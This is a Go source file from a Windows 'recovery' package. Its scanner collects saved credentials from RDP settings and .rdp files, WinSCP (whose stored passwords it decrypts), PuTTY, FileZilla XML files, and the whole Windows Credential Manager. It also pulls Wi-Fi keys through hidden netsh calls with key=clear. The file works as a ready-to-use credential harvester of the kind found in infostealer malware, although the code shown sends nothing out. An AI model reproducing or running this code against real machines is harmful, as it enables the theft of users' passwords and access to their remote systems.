615 lines
15 KiB
Go
615 lines
15 KiB
Go
//go:build windows
|
|
|
|
package scanner
|
|
|
|
import (
|
|
"encoding/xml"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"syscall"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
"golang.org/x/sys/windows/registry"
|
|
|
|
"recovery/recovery/types"
|
|
)
|
|
|
|
var (
|
|
advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
|
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
|
|
procCredFree = advapi32.NewProc("CredFree")
|
|
)
|
|
|
|
const (
|
|
credTypeGeneric = 1
|
|
credTypeDomainPassword = 2
|
|
credTypeDomainCertificate = 3
|
|
)
|
|
|
|
type winCredential struct {
|
|
Flags uint32
|
|
Type uint32
|
|
TargetName *uint16
|
|
Comment *uint16
|
|
LastWritten syscall.Filetime
|
|
CredentialBlobSize uint32
|
|
CredentialBlob *byte
|
|
Persist uint32
|
|
AttributeCount uint32
|
|
Attributes uintptr
|
|
TargetAlias *uint16
|
|
UserName *uint16
|
|
}
|
|
|
|
func ScanApps() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
results = append(results, scanRDP()...)
|
|
results = append(results, scanWinSCP()...)
|
|
results = append(results, scanPuTTY()...)
|
|
results = append(results, scanFileZilla()...)
|
|
results = append(results, scanCredentialManager()...)
|
|
results = append(results, scanWiFi()...)
|
|
return results
|
|
}
|
|
|
|
// ── RDP ────────────────────────────────────────────────────────────────
|
|
|
|
func scanRDP() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
// Registry: saved connection history with usernames
|
|
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
|
if err == nil {
|
|
defer k.Close()
|
|
servers, _ := k.ReadSubKeyNames(-1)
|
|
for _, server := range servers {
|
|
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
username, _, _ := sk.GetStringValue("UsernameHint")
|
|
sk.Close()
|
|
|
|
r := types.AppCredentialResult{
|
|
Application: "RDP",
|
|
Host: server,
|
|
Port: 3389,
|
|
Username: username,
|
|
Protocol: "rdp",
|
|
}
|
|
|
|
// Try to get the password from Credential Manager
|
|
pw := credManagerLookup("TERMSRV/" + server)
|
|
if pw != "" {
|
|
r.Password = pw
|
|
}
|
|
results = append(results, r)
|
|
}
|
|
}
|
|
|
|
// Also scan Credential Manager for TERMSRV/* entries not in the registry
|
|
creds := enumCredentials()
|
|
seen := make(map[string]bool)
|
|
for _, r := range results {
|
|
seen[strings.ToLower(r.Host)] = true
|
|
}
|
|
for _, c := range creds {
|
|
target := strings.ToLower(c.target)
|
|
if !strings.HasPrefix(target, "termsrv/") {
|
|
continue
|
|
}
|
|
host := c.target[len("TERMSRV/"):]
|
|
if seen[strings.ToLower(host)] {
|
|
continue
|
|
}
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "RDP",
|
|
Host: host,
|
|
Port: 3389,
|
|
Username: c.username,
|
|
Password: c.password,
|
|
Protocol: "rdp",
|
|
})
|
|
}
|
|
|
|
// Scan for .rdp files
|
|
results = append(results, scanRDPFiles()...)
|
|
|
|
return results
|
|
}
|
|
|
|
func scanRDPFiles() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
home, _ := os.UserHomeDir()
|
|
if home == "" {
|
|
return nil
|
|
}
|
|
|
|
dirs := []string{
|
|
filepath.Join(home, "Desktop"),
|
|
filepath.Join(home, "Documents"),
|
|
filepath.Join(home, "Downloads"),
|
|
}
|
|
|
|
for _, dir := range dirs {
|
|
entries, err := os.ReadDir(dir)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, e := range entries {
|
|
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
|
|
continue
|
|
}
|
|
path := filepath.Join(dir, e.Name())
|
|
data, err := os.ReadFile(path)
|
|
if err != nil || len(data) == 0 {
|
|
continue
|
|
}
|
|
r := parseRDPFile(string(data))
|
|
if r.Host != "" {
|
|
r.Extra = path
|
|
results = append(results, r)
|
|
}
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func parseRDPFile(content string) types.AppCredentialResult {
|
|
r := types.AppCredentialResult{
|
|
Application: "RDP",
|
|
Protocol: "rdp",
|
|
Port: 3389,
|
|
}
|
|
for _, line := range strings.Split(content, "\n") {
|
|
line = strings.TrimSpace(line)
|
|
parts := strings.SplitN(line, ":", 3)
|
|
if len(parts) < 3 {
|
|
continue
|
|
}
|
|
key := strings.ToLower(strings.TrimSpace(parts[0]))
|
|
val := strings.TrimSpace(parts[2])
|
|
switch key {
|
|
case "full address":
|
|
if idx := strings.LastIndex(val, ":"); idx > 0 {
|
|
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
|
|
r.Host = val[:idx]
|
|
r.Port = p
|
|
continue
|
|
}
|
|
}
|
|
r.Host = val
|
|
case "username":
|
|
r.Username = val
|
|
case "server port":
|
|
if p, err := strconv.Atoi(val); err == nil {
|
|
r.Port = p
|
|
}
|
|
}
|
|
}
|
|
return r
|
|
}
|
|
|
|
// ── WinSCP ─────────────────────────────────────────────────────────────
|
|
|
|
func scanWinSCP() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
defer k.Close()
|
|
|
|
sessions, _ := k.ReadSubKeyNames(-1)
|
|
for _, sess := range sessions {
|
|
if sess == "Default%20Settings" {
|
|
continue
|
|
}
|
|
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
hostname, _, _ := sk.GetStringValue("HostName")
|
|
username, _, _ := sk.GetStringValue("UserName")
|
|
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
|
encPassword, _, _ := sk.GetStringValue("Password")
|
|
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
|
|
sk.Close()
|
|
|
|
if hostname == "" {
|
|
continue
|
|
}
|
|
|
|
port := int(portNum)
|
|
if port == 0 {
|
|
port = 22
|
|
}
|
|
|
|
protocol := "sftp"
|
|
switch fsProtocol {
|
|
case 0:
|
|
protocol = "sftp"
|
|
case 5:
|
|
protocol = "ftp"
|
|
case 1:
|
|
protocol = "scp"
|
|
}
|
|
|
|
password := ""
|
|
if encPassword != "" {
|
|
password = decryptWinSCPPassword(encPassword, hostname, username)
|
|
}
|
|
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "WinSCP",
|
|
Host: hostname,
|
|
Port: port,
|
|
Username: username,
|
|
Password: password,
|
|
Protocol: protocol,
|
|
})
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func decryptWinSCPPassword(hex, hostname, username string) string {
|
|
key := username + hostname
|
|
|
|
decNextChar := func(s string, idx int) (byte, int) {
|
|
if idx+2 > len(s) {
|
|
return 0, idx + 2
|
|
}
|
|
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
|
|
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
|
|
if err1 != nil || err2 != nil {
|
|
return 0, idx + 2
|
|
}
|
|
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
|
|
}
|
|
|
|
idx := 0
|
|
flag, idx := decNextChar(hex, idx)
|
|
|
|
if flag == 0xFF {
|
|
return ""
|
|
}
|
|
|
|
_, idx = decNextChar(hex, idx) // skip unused byte
|
|
|
|
length, idx := decNextChar(hex, idx)
|
|
|
|
delLen, idx := decNextChar(hex, idx)
|
|
for i := 0; i < int(delLen); i++ {
|
|
_, idx = decNextChar(hex, idx)
|
|
}
|
|
|
|
raw := make([]byte, 0, int(length))
|
|
for i := 0; i < int(length); i++ {
|
|
c, newIdx := decNextChar(hex, idx)
|
|
idx = newIdx
|
|
raw = append(raw, c)
|
|
}
|
|
|
|
if len(key) > 0 {
|
|
decrypted := make([]byte, len(raw))
|
|
for i, c := range raw {
|
|
decrypted[i] = c ^ key[i%len(key)]
|
|
}
|
|
return string(decrypted)
|
|
}
|
|
|
|
return string(raw)
|
|
}
|
|
|
|
// ── PuTTY ──────────────────────────────────────────────────────────────
|
|
|
|
func scanPuTTY() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
defer k.Close()
|
|
|
|
sessions, _ := k.ReadSubKeyNames(-1)
|
|
for _, sess := range sessions {
|
|
if sess == "Default%20Settings" {
|
|
continue
|
|
}
|
|
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
hostname, _, _ := sk.GetStringValue("HostName")
|
|
username, _, _ := sk.GetStringValue("UserName")
|
|
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
|
protocol, _, _ := sk.GetStringValue("Protocol")
|
|
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
|
|
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
|
|
sk.Close()
|
|
|
|
if hostname == "" {
|
|
continue
|
|
}
|
|
|
|
port := int(portNum)
|
|
if port == 0 {
|
|
port = 22
|
|
}
|
|
if protocol == "" {
|
|
protocol = "ssh"
|
|
}
|
|
|
|
extra := ""
|
|
if keyFile != "" || proxyHost != "" {
|
|
parts := []string{}
|
|
if keyFile != "" {
|
|
parts = append(parts, "key:"+keyFile)
|
|
}
|
|
if proxyHost != "" {
|
|
parts = append(parts, "proxy:"+proxyHost)
|
|
}
|
|
extra = strings.Join(parts, "; ")
|
|
}
|
|
|
|
// URL-decode session name for display purposes
|
|
decodedName := strings.ReplaceAll(sess, "%20", " ")
|
|
_ = decodedName
|
|
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "PuTTY",
|
|
Host: hostname,
|
|
Port: port,
|
|
Username: username,
|
|
Protocol: protocol,
|
|
Extra: extra,
|
|
})
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
// ── FileZilla ──────────────────────────────────────────────────────────
|
|
|
|
type fzServer struct {
|
|
XMLName xml.Name `xml:"Server"`
|
|
Host string `xml:"Host"`
|
|
Port int `xml:"Port"`
|
|
Protocol int `xml:"Protocol"`
|
|
User string `xml:"User"`
|
|
Pass string `xml:"Pass"`
|
|
}
|
|
|
|
type fzSiteManager struct {
|
|
XMLName xml.Name `xml:"FileZilla3"`
|
|
Servers []fzServer `xml:"Servers>Server"`
|
|
}
|
|
|
|
type fzRecentServers struct {
|
|
XMLName xml.Name `xml:"FileZilla3"`
|
|
Servers []fzServer `xml:"RecentServers>Server"`
|
|
}
|
|
|
|
func scanFileZilla() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
appdata := os.Getenv("APPDATA")
|
|
if appdata == "" {
|
|
return nil
|
|
}
|
|
fzDir := filepath.Join(appdata, "FileZilla")
|
|
|
|
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
|
path := filepath.Join(fzDir, file)
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
var servers []fzServer
|
|
if file == "sitemanager.xml" {
|
|
var sm fzSiteManager
|
|
if xml.Unmarshal(data, &sm) == nil {
|
|
servers = sm.Servers
|
|
}
|
|
} else {
|
|
var rs fzRecentServers
|
|
if xml.Unmarshal(data, &rs) == nil {
|
|
servers = rs.Servers
|
|
}
|
|
}
|
|
|
|
for _, s := range servers {
|
|
if s.Host == "" {
|
|
continue
|
|
}
|
|
port := s.Port
|
|
if port == 0 {
|
|
port = 21
|
|
}
|
|
protocol := "ftp"
|
|
switch s.Protocol {
|
|
case 1:
|
|
protocol = "sftp"
|
|
case 3, 4:
|
|
protocol = "ftps"
|
|
}
|
|
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "FileZilla",
|
|
Host: s.Host,
|
|
Port: port,
|
|
Username: s.User,
|
|
Password: s.Pass,
|
|
Protocol: protocol,
|
|
})
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
// ── Windows Credential Manager ─────────────────────────────────────────
|
|
|
|
type credEntry struct {
|
|
target string
|
|
username string
|
|
password string
|
|
credType uint32
|
|
}
|
|
|
|
func enumCredentials() []credEntry {
|
|
var count uint32
|
|
var credsPtr uintptr
|
|
|
|
ret, _, _ := procCredEnumerateW.Call(
|
|
0,
|
|
0,
|
|
uintptr(unsafe.Pointer(&count)),
|
|
uintptr(unsafe.Pointer(&credsPtr)),
|
|
)
|
|
if ret == 0 || count == 0 {
|
|
return nil
|
|
}
|
|
defer procCredFree.Call(credsPtr)
|
|
|
|
var results []credEntry
|
|
for i := uint32(0); i < count; i++ {
|
|
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
|
|
c := (*winCredential)(unsafe.Pointer(entryPtr))
|
|
target := windows.UTF16PtrToString(c.TargetName)
|
|
username := ""
|
|
if c.UserName != nil {
|
|
username = windows.UTF16PtrToString(c.UserName)
|
|
}
|
|
password := ""
|
|
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
|
|
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
|
|
password = string(blob)
|
|
}
|
|
results = append(results, credEntry{
|
|
target: target,
|
|
username: username,
|
|
password: password,
|
|
credType: c.Type,
|
|
})
|
|
}
|
|
return results
|
|
}
|
|
|
|
func credManagerLookup(target string) string {
|
|
target = strings.ToLower(target)
|
|
for _, c := range enumCredentials() {
|
|
if strings.ToLower(c.target) == target {
|
|
return c.password
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func scanCredentialManager() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
for _, c := range enumCredentials() {
|
|
target := strings.ToLower(c.target)
|
|
// Skip TERMSRV entries (already handled by RDP scanner)
|
|
if strings.HasPrefix(target, "termsrv/") {
|
|
continue
|
|
}
|
|
// Skip entries with no useful data
|
|
if c.username == "" && c.password == "" {
|
|
continue
|
|
}
|
|
|
|
typeName := "generic"
|
|
switch c.credType {
|
|
case credTypeDomainPassword:
|
|
typeName = "domain"
|
|
case credTypeDomainCertificate:
|
|
typeName = "certificate"
|
|
}
|
|
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "CredManager",
|
|
Host: c.target,
|
|
Username: c.username,
|
|
Password: c.password,
|
|
Protocol: typeName,
|
|
})
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
// ── WiFi ───────────────────────────────────────────────────────────────
|
|
|
|
func scanWiFi() []types.AppCredentialResult {
|
|
var results []types.AppCredentialResult
|
|
|
|
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
|
out, err := cmd.Output()
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
|
|
var profiles []string
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if idx := strings.Index(line, ": "); idx >= 0 {
|
|
lower := strings.ToLower(line[:idx])
|
|
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
|
|
name := strings.TrimSpace(line[idx+2:])
|
|
if name != "" {
|
|
profiles = append(profiles, name)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, name := range profiles {
|
|
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
|
out, err := cmd.Output()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
password := ""
|
|
auth := ""
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if idx := strings.Index(line, ": "); idx >= 0 {
|
|
lower := strings.ToLower(line[:idx])
|
|
val := strings.TrimSpace(line[idx+2:])
|
|
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
|
|
password = val
|
|
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
|
|
auth = val
|
|
}
|
|
}
|
|
}
|
|
|
|
results = append(results, types.AppCredentialResult{
|
|
Application: "WiFi",
|
|
Host: name,
|
|
Username: auth,
|
|
Password: password,
|
|
Protocol: "wifi",
|
|
})
|
|
}
|
|
|
|
return results
|
|
}
|